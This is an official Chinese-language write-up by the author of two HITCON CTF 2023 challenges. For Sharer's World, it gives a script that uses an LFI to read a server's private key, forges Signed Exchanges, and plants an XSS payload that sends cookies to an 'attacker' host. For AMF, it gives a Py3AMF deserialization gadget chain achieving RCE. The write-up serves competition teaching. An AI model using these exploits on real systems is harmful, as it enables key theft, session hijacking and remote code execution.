HITCON CTF 2023 官方解法 (Sharer’s, AMF)

English version:

HITCON CTF 2023 Challenges
I only made 2 challenges these year, great, it’s much easier for me to write this write-up :P Actually I was planning to release 4 challenges in total: I was initially going to create a reverse challenge, but I got too lazy to write it. As for the other web

今年我只出了兩題,讚ㄛ,這樣我寫 write-up 輕鬆多了 👍

不過其實本來想要出四題的:其中一題是逆向,雖然有梗懶得寫;啊然後另外一題 Web 寫是寫好了,但來不及趕在倒數 24 小時線前部署。總之呢,這大概意味著它們可能會出現在其他 CTF  👀

Sharer's World

這是一個普通的檔案上傳服務。這題裡我們給的原始碼包含了 web 本體、admin bot、還有用來簽 HTTPS 相關的簽章(但沒給私鑰)。

TL;DR

Signed Exchange (SXG)。

功能概述

在開始深入講解法之前,我們先來大致看一下它能幹嘛吧。

這個網站它可以讓你上傳任意的檔案,除此之外還允許你自訂任意的 mimetype;在上傳後你可以從 /file/<uuid> 的路徑瀏覽到它,同時它的 content-type header 當然也會是你上傳時指定的 mimetype。另外,你還可以在 /preview/<uuid> 的路徑「預覽」它,說是預覽,其實只是把檔案嵌入一個有 sandbox 的 iframe 裡,大概像這樣:

<iframe src="/file/<uuid>" width="100%" height="500px" sandbox></iframe>

欸!我們可以自訂 mimetype 了,這樣聽起來就超級危險的對吧?塞個 text/html 就可以 XSS 了。所以我們這邊也給出了一個超嚴格的 CSP——其中的 frame-src 只會在對應的 preivew 頁面出現。

default-src 'none'; style-src https://sharer.world/static/simple.css; frame-src https://sharer.world/file/<uuid>

除了 CSP 以外,前面提及的 iframe sandbox 屬性也防止了我們在 preview 頁面搞事,像是執行 JavaScript 之類的。

那麽作為一個 XSS 題,回報功能肯定不能少的。在這邊我們可以回報檔案的 uuid,然後回報頁面後端會送一個請求到 https://admin-bot.sharer.world/visit?path=/preview/<file_id>&token=<token> 叫 bot 去瀏覽。

所以,最重要的 flag 在哪呢?

page.setCookie({
    name: "FLAG",
    value: FLAG,
    domain: BOT_HOST,
    path: "/flag",
    secure: true,
    sameSite: "Strict",
});

對,flag 擺在 https://admin-bot.sharer.world/flag 上的 cookie,而那個 bot 頁面甚至沒有 /flag 路徑。喔幹這是啥潲。

利用方式

首先,有一個明顯的可利用點是這題有一個 LFI 漏洞。

/report 路徑底下有一個經典的 pattern,長得類似這樣: res.render("template", req.body)。不知道的人這邊有一個以 ejs 為主題的較為完整的統整:https://blog.huli.tw/2023/06/22/ejs-render-vulnerability-ctf/

在這題裡,它用的是 express-mustache,據我所知應該是不能像其他的模板引擎一樣打出 RCE,但足以達成 LFI 了,總之 POST 以下的資料就行,這邊我就不追它內部的利用鏈了:

settings[view engine]=js # extension
&settings[views]=/
&settings[layout]=/app/app # file without extension

但作為一個 XSS 題,我們該讀什麼檔?

恩,我先來介紹個酷東西好了——SXG(簽名交換)。它功能上有點像是「簽章過的網頁」,理論上只有該網域的持有者才能簽它底下的網頁,驗證方法跟一般簽 HTTPS 差不多。而一個合法的 SXG 則可以被解碼成該網域底下的任意網頁(包含回應標頭和內文)。

好,回到題目。接下來我們可以透過讀取 fullchain.pem 得知其實該簽章有加 SXG 延伸功能 (extension) —— 1.3.6.1.4.1.11129.2.1.22。其實我覺得應該看起來蠻明顯的,因為這個延伸功能在大部分的檢視器裡,應該都會是唯一一個沒名字的延伸功能。喔對了,這個簽章同時簽了 sharer.world 和 *.sharer.world。

你也可以用 openssl x509 -in fullchain.pem -text 來讀該檔案

好,現在一切都串起來了。

我們可以利用前面提到的 LFI bug 來讀到伺服器上的私鑰,接著就能用它來幫我們自己簽 SXG 。也就是說,現在我們可以偽造 sharer.world 和 *.sharer.world 上所有的網頁內容了!以這題的目標來說,我們只要簽一個位在 https://admin-bot.sharer.world/flag 的 XSS 頁面就好,唯一功能就是經典的偷 cookie。

現在剩最後一個小問題:我們回報時只能給檔案的 uuid,讓 bot 去瀏覽 /preview/<uuid> ,但這樣會被 CSP 跟 iframe sandbox 限制住,我們應該希望 bot 能直接瀏覽到 SXG 的頁面。這邊的解決方法一樣是 SXG,我們需要利用它裡面的 cert URI 功能。

SXG 中的 cert URI 顧名思義是一個 URI,它如果是個 https URL 的話,瀏覽器在讀到 SXG 的時候就會對那個 URI 送一個 GET 請求。因此,我們只要把 SXG 的 cert-uri 設定成 https://bot/visit?path=/file/<XSS-SXG-uuid>,如此一來當 bot 在預覽我們給的檔案 uuid 的時候,瀏覽器就會開始解析預覽頁面 iframe 中的 SXG,這時瀏覽器便會在背後送一個 GET 請求過去,這樣就能讓 bot 順利直接造訪我們的 SXG 頁面了。

其實不一定要上傳一個用來 XSS /flag 頁面的 SXG 到我們的題目上。
也有另外一種作法是 /visit?path=@attacker.com/xss.sxg——SXG 不一定要在一樣的 domain才能運作。

喔對了!值得注意的是,關於那個 cert URI 的那個小技巧它根本不會管 CSP、SOP 之類的限制,同時,即使該 SXG 不是合法的也能利用它。

攻擊鏈總結

  • LFI 讀檔:privkey.pem
  • 產生 https://bot/flag 的 SXG
    -> XSS.sxg
  • 產生透過 cert URI 來 CSRF (GET https://bot/visit?path=/file/XSS.sxg) 的 SXG
    -> CSRF.sxg
  • 上傳 XSS.sxg, CSRF.sxg
  • 回報 CSRF.sxg

攻擊腳本

在這邊我用 signedexchange 來簽 SXG。

#!/bin/bash

BASE_URL='https://sharer.world'

# upload function
function upload() {
  curl -s $BASE_URL/upload -F "file=@$1;type=$2" | grep -e 'preview' | cut -d'/' -f3
}


curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=fullchain' -o cert.pem
curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=privkey' -o priv.key

~/go/bin/gen-certurl -pem cert.pem > cert.cbor

token="..."

echo "<script>location='http://attacker:1337/?'+document.cookie</script>" > xss.html
~/go/bin/gen-signedexchange \
  -uri "https://admin-bot.sharer.world/flag" \
  -content xss.html \
  -certificate cert.pem \
  -privateKey priv.key \
  -certUrl "data:application/cert-chain+cbor;base64,$(base64 -i cert.cbor)" \
  -validityUrl "https://admin-bot.sharer.world/resource.validity.msg" \
  -o xss.html.sxg

file_id="$(upload 'xss.html.sxg' 'application/signed-exchange;v=b3')"
echo "XSS file_id: $file_id"


touch empty.html
~/go/bin/gen-signedexchange \
  -uri "https://example.com/" \
  -content empty.html \
  -certificate cert.pem \
  -privateKey priv.key \
  -certUrl "https://admin-bot.sharer.world/visit?path=/file/$file_id&token=$token" \
  -validityUrl "https://example.com/resource.validity.msg" \
  -o cert-request.html.sxg

file_id="$(upload 'cert-request.html.sxg' 'application/signed-exchange;v=b3')"
echo "Req file_id: $file_id"
curl "$BASE_URL/report" --data "file_id=$file_id&token=$token"

其他參賽者 write-up

Sharer’s World - HITCON CTF 2023
Sharer’s World - HITCON CTF 2023. GitHub Gist: instantly share code, notes, and snippets.

AMF

找 gadget 挑戰!就是那種喜歡的會很喜歡,討厭的會覺得超浪費時間的題目。

TL;DR

簡單暴力,找一個 Py3AMF 的 RCE 就對了。

在它的實作裡,TYPE_OBJECT 這個 bytecode 可以 import 任意的 Python 模組然後 __new__ 它。接著你可以對剛剛 new 出來的東西設任意的屬性上去。好了夠了可以開始打 RCE 了。

找尋心法

(還沒寫,等我寫好了再丟 ChatGPT 翻譯再丟去英文版)

攻擊腳本

懶得解釋,有空再說

from pyamf import amf0, amf3, util

AMF = amf3


def serialize(obj):
    stream = util.BufferedByteStream()
    context = AMF.Context()
    encoder = AMF.Encoder(stream, context)
    encoder.writeElement(obj)
    return stream.getvalue()


def deserialize(data):
    stream = util.BufferedByteStream(data)
    context = AMF.Context()
    decoder = AMF.Decoder(stream, context)
    return decoder.readElement()


def serialize_attrs(attrs):
    s = b""
    for k, v in attrs.items():
        s += serialize(k)[1:]
        if isinstance(v, Obj):
            s += v.serialize()
        else:
            s += serialize(v)

    s += serialize(None)
    return s


class Obj:
    def __init__(self, _name, **kwargs):
        self.name = _name
        self.attrs = kwargs

    def serialize(self):
        s = b"\x0a\x0b" + serialize(self.name)[1:]
        s += serialize_attrs(self.attrs)
        return s


serialized = Obj(
    "pyamf.amf3.ByteArray",
    _len_changed=True,
    _len=48763,
    _get_len=Obj(
        "xmlrpc.client._Method",
        _Method__send=Obj(
            "xmlrpc.client._Method",
            _Method__send=Obj(
                "pyamf.remoting.gateway.ServiceWrapper",
                service=Obj(
                    "pdb.Pdb",
                    curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
                    curframe_locals={},
                    stdout=None
                ),
            ),
            _Method__name="do_break",
        ),
        _Method__name="""
        __import__("os").system("id")
        """.strip(), # your exploit here
    ),
).serialize()

# print(len(deserialize(serialized)))

import requests

serialized = b"\x11" + serialized
r = requests.post(
    "http://150846998b1a9bc25ed995d94237bbb3.amf.chal.hitconctf.com/",
    data=b"\x00\x03"
    + b"\x00\x00"
    + b"\x00\x01"
    + b"\x00\x01a"
    + b"\x00\x01b"
    + len(serialized).to_bytes(4, "big") + serialized,
)

print(r.text)
Show Comments